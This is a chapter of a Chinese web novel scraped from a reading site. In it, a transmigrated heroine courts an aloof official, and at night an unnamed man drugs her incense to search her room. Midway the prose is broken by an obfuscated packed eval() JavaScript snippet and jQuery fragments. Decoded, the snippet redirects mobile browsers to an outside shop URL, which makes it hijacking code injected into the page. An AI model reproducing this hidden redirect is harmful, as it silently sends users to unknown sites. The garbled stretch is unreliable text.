文趣网 > 其他小说 > 买股文女主守则 > 6. 夜雨
    裴玦,原书中的第三位男主,性情冰冷疏离的大理寺卿。

    许真真在听见系统播报声的瞬间就立刻抬眼,面前人身量高出她许多,墨色衣袍繁复,分明而冰凉的眉眼微垂,目光轻飘飘落在她身上。

    “抱歉,方才没留心。”

    沉而平直的声音落入许真真耳中,她回过神来,意识到裴玦是在和她说话,忙接了茬:“无妨,是我走太急了。”

    裴玦略一颔首,就要绕过许真真离去,许真真好不容易才见到她的最后一位攻略对象,话还没说上几句,怎么能眼睁睁看着人从自己面前溜走,当即朝旁边迈开一步,张了张口:“等等!”

    莫名被拦住去路的裴玦:?

    他有些疑惑的眼神落到许真真身上,许真真方才的举措本就是头脑一热的产物,此刻支支吾吾说不出话来,大脑飞速运转。

    裴玦站在原地等了片刻,也没见这小姐说话,耐心告罄,正欲告辞,骤然听见少女犹疑试探的询问。

    “裴大人,你……吃过饭了吗?”

    真是好生疏刻板的开场白。

    许真真在说出这句话的时候就恨不得当场找个地缝钻进去,但说出去的话泼出去的水,她此刻也只能硬着头皮接下去:“时候不早了,裴大人若是还未用晚饭,不如留下来一道用饭?”

    她神色真诚不似作伪,但裴玦貌似并不吃这一套。

    “多谢甄小姐,不必了。”

    起初的微诧过去,裴玦面无波澜,开口回绝。

    甄御之从书房闻声而来,一打眼就瞧见了宝贝女儿和裴玦面对面说话的场景,许真真那句略带纠结憧憬的“不如留下来一道用饭”落到他耳中,让他瞬间停住了脚步。

    在他印象中,他的女儿甄真性情温和内敛,连对他都算不上多热络,对外人更是鲜少主动搭话,今日居然开口挽留别人吃饭?!而对面那人还拒绝了!

    这可是破天荒头一遭了。

    甄御之心情很微妙。

    一方面是为了女儿的转变感到欣慰,一方面,他有点忮忌裴玦。

    他凭什么能享受到这个待遇?真真什么时候也能这样来呼唤他这个父亲?

    一码归一码,看裴玦并不想应下这个请求,为了保护女儿的热情,甄御之上前几步,清了清嗓子,打算说点什么来挽回一下这个结果,就见裴玦跟背后长眼睛似的,抢在甄御之开口之前快步离开了。

    完全没给他发挥的机会。

    许真真还愣愣的,但最先涌上来的不是被拒绝的尴尬情绪,而是狠狠松了一口气的松快。

    她性格算不上多开朗外向,自然也不希望吃饭的时候餐桌上多出一个陌生人,拘束不说,对着攻略对象,自然需要注意形象,影响专心吃饭。

    “父亲!”见甄御之还想追上去,许真真急急出声唤住他。

    许真真对他扬起一个笑脸,本意是想告诉甄御之自己没事,可这笑落到旁人眼里却变了味。

    少女白净小脸上那双杏眼黯淡无光,唇边那抹笑意也显得尤为勉强,怎么看怎么都多了些苦涩意味。

    甄御之更心疼了!

    他沉重地叹了口气,想说点什么又在看到女儿脸色之后咽了下去,拉着人进了屋。

    丞相府其实没有食不言的规矩,甚至其实甄御之是非常乐意趁着吃饭的时候同女儿一道说上几句体己话的,但奈何原主生性冷淡,不知是不是因为从小身体不好,大多数时候都意识昏沉,故而长大之后也不爱多言语,总之甄家的餐桌一向很安静,除了碗筷碰撞发出的清浅响声几乎再无其他。

    不过今日有些反常。

    甄御之借着给许真真夹菜的动作头瞟了她不知道多少次,让许真真都觉得有些坐立难安了,食不知味地嚼着嘴里的东西,忽的想起了点什么,仰首唤道——

    “爹爹……”

    “真真……”

    二人同时开口。

    甄御之愣了瞬:“真真先说吧。”

    许真真也没有扭捏,大大方方地开口了:“今日裴大人为何来府上?”

    她想的很清楚,原作中裴玦政务繁忙,空闲时间更是稀缺,原主都难得见上一面,许真真之前还担忧过该去哪里见上这个行踪不定的裴大人,没成想今日竟然在自家府邸上碰见了。

    裴玦绝不会莫名出现在这里,他既然是从甄御之书房中出来的,那必然是为了政事而来。

    只需要向甄御之旁敲侧击,探出裴玦最近所忙之事,那跟掌握了他行程表有什么区别?

    许真真虽然从没谈过恋爱,但没吃过猪肉总见过猪跑,以她现在和裴玦的关系,连个脸熟的程度都算不上。

    那能怎么办?只好抓住一切可以相处的机会,跑去刷个存在感,看看有没有日久生情的机会。

    许真真这边算盘打得啪啪响,甄御之心里就很复杂了。

    有着之前的印象先入为主,许真真今日在饭桌上又是心神不宁又是主动问询,甄御之心里暗暗回忆了过去所有和裴玦有关的事情,愣是没想出来这人和真真有什么交集。

    真真平日生活简单,每日除了明德院也没什么其他去处,身边更是连个知心朋友都没有,裴玦性格也并非那种平易近人的类型,难不成……

    甄御之强行压下心里的滔天骇浪,面上不动声色,反问道:“真真怎么突然好奇这个?你平日不是对这些不感兴趣么?”

    对此许真真早有准备,她搬出了那套早就准备好的说辞:“只是觉得女儿年纪不小了,爹爹每日辛苦操劳,女儿看着实在心疼,只盼着能为爹爹分忧。”

    这番话她也拿来搪塞过追月,说起来颇为熟练。

    不过许真真并不善说谎,能把话说的流畅已是极限,表情微微生硬。

    这点异样自然逃不过在官场浸淫多年的老狐狸眼睛,甄御之当即看出来了许真真在同他说谎,心下大骇——

    乖女儿竟然为了一个外男诓骗他?!

    甄御之久久不语,许真真紧张不已,生怕是自己哪里出了破绽,正想说点话找补,就见甄御之仿佛下定了什么决心似的,转过头来,语重心长。

    “真真啊,你有这份关心我的心思,是非常好的,但是……”

    他欲言又止,止言又欲。

    许真真不懂甄御之到底在反复横跳些什么,面上一派茫然之色。

    “罢了,”甄御之想通了,不再多言,正色道,“真真,接下里爹爹同你讲的话,万不能说与旁人听。”

    这是……成了!

    许真真双眼一亮,按捺住激动心绪,竖起耳朵仔仔细细听着甄御之讲述。

    夜深了,整个上京城都被一层深重暮色笼罩,万籁俱寂,除了打更人的铜锣叫喊还在传递时间,其他人都已随着这座城沉沉睡去。

    许真真也不例外。

    吃罢晚饭,追月陪着她在院内消了消食,又看着她服过药后才安心退下。

    许真真躺在床上,依旧是没过多久,困意上涌,几乎是席卷般不由分说地夺走了她的意识。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766683|209721||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    一室寂静,床头的灯火也早早熄了。

    丞相府大小姐的房间中常年燃着熏香,这是异邦进贡的一种奇香,名曰安魂散,每年只有少部分贡往皇室,圣上怜惜胞姐之女自小体弱,故而特赐此物给丞相府,是为无上恩典。

    安魂散气息浅淡,沁人心脾,据说有安神镇痛的功效,留香极好,只要沾上这个味道,就一整天都难以脱去,许真真身上就满是这种熏香的气味。

    也正因如此,许真真并未发现,掩藏在那抹轻柔香味下的另一重幽香。

    第二次了。

    确认房中人已经熟睡之后,屋外站着的人推开门,闪身进了闺阁内,动作行云流水,迅捷如夜色中疾奔的黑猫,几乎没发出一点声音。

    从昨晚开始他就给许真真下了迷药,这药加在她房内的香炉中,随着那安魂散一并安静地燃烧,再被吸入。

    药并没有副作用,只是会让中药者睡得格外沉,轻易不会被外界干扰醒来。

    好方便他做一些事情。

    床上少女睡颜恬静,呼吸声在这个寂静的晚上成了他能听到的最清晰的响动,一吸一呼,均匀绵长。

    她阖着眼,长睫微微颤动,除去了白日那些珠钗装饰,柔顺青丝散乱垂在枕上,衬得那张素白面容愈加清丽出尘。

    平心而论,这副皮囊的确绝无仅有,每一个五官都仿若最瑰丽的工笔画,画师极尽所能地描摹才可绘出她半分姿容,盛极的颜色,偏偏配了一身病骨,虚虚地压下那几分妖艳,多出些不可亵玩的疏离感。

    如隔云端,如镜中花,水中月。

    可这人的所作所为分明和这张脸毫不相符。

    私闯长公主宫殿、挺身而出为旁人说话,今日还主动邀请裴玦用饭……

    裴玦那样冷淡不解风情的回应,分明就是对她无意。

    她喜欢这样的?

    这样的念头在脑中闪过,让他怔愣一瞬,很快平复下来,压下那抹怪异心绪。

    她喜欢谁,干他何事。

    他收回目光,转头开始做正事。

    昨晚上已经来过一次,一回生二回熟,他动作明确地翻找了几个昨晚上遗漏的地方,搜完还不忘把物件细致复原,不留痕迹。

    他找的尤为仔细,几乎是处处都不放过,甚至包括许真真的首饰盒。

    他掀开盖子,少女的首饰琳琅满目,珠花、步摇、耳铛,数不胜数。

    他伸手要探入搜寻的动作一顿,犹疑片刻,最后只浅浅扫过几眼便把那沉甸甸的木盒放了回去。

    这次还是一无所获。

    那人立在房中思索片刻,旋身离去,手刚触到门板,一阵狂风吹来,原本关好的窗户被吹开,冰凉强劲的风顺着窗户涌进来,吹起他鬓边的发丝。

    窗外天空黑沉而厚重,是个突如其来的雨夜。

    雨声渐大,淅淅沥沥的雨点不断落下,空气愈加湿冷。

    床上原本睡得安稳的人因为这个变故而浅浅蹙了蹙眉,许真真往下挪,试图把自己更多地埋进被子里。

    时令还是夏季,追月并没有给许真真准备厚被,此刻盖在她身上的只是一层轻薄的锦被,夏日盖着自然凉爽宜人,可要是拿来御寒就显得有些不够看了。

    她那走几步都喘的架势,这么吹一晚上,怕是第二天爬都爬不起来。

    看着少女苍白的脸色和收紧的眉心,那人沉默片刻,轻轻放下了手。

    房内似乎传来一声轻啧——

    “麻烦。”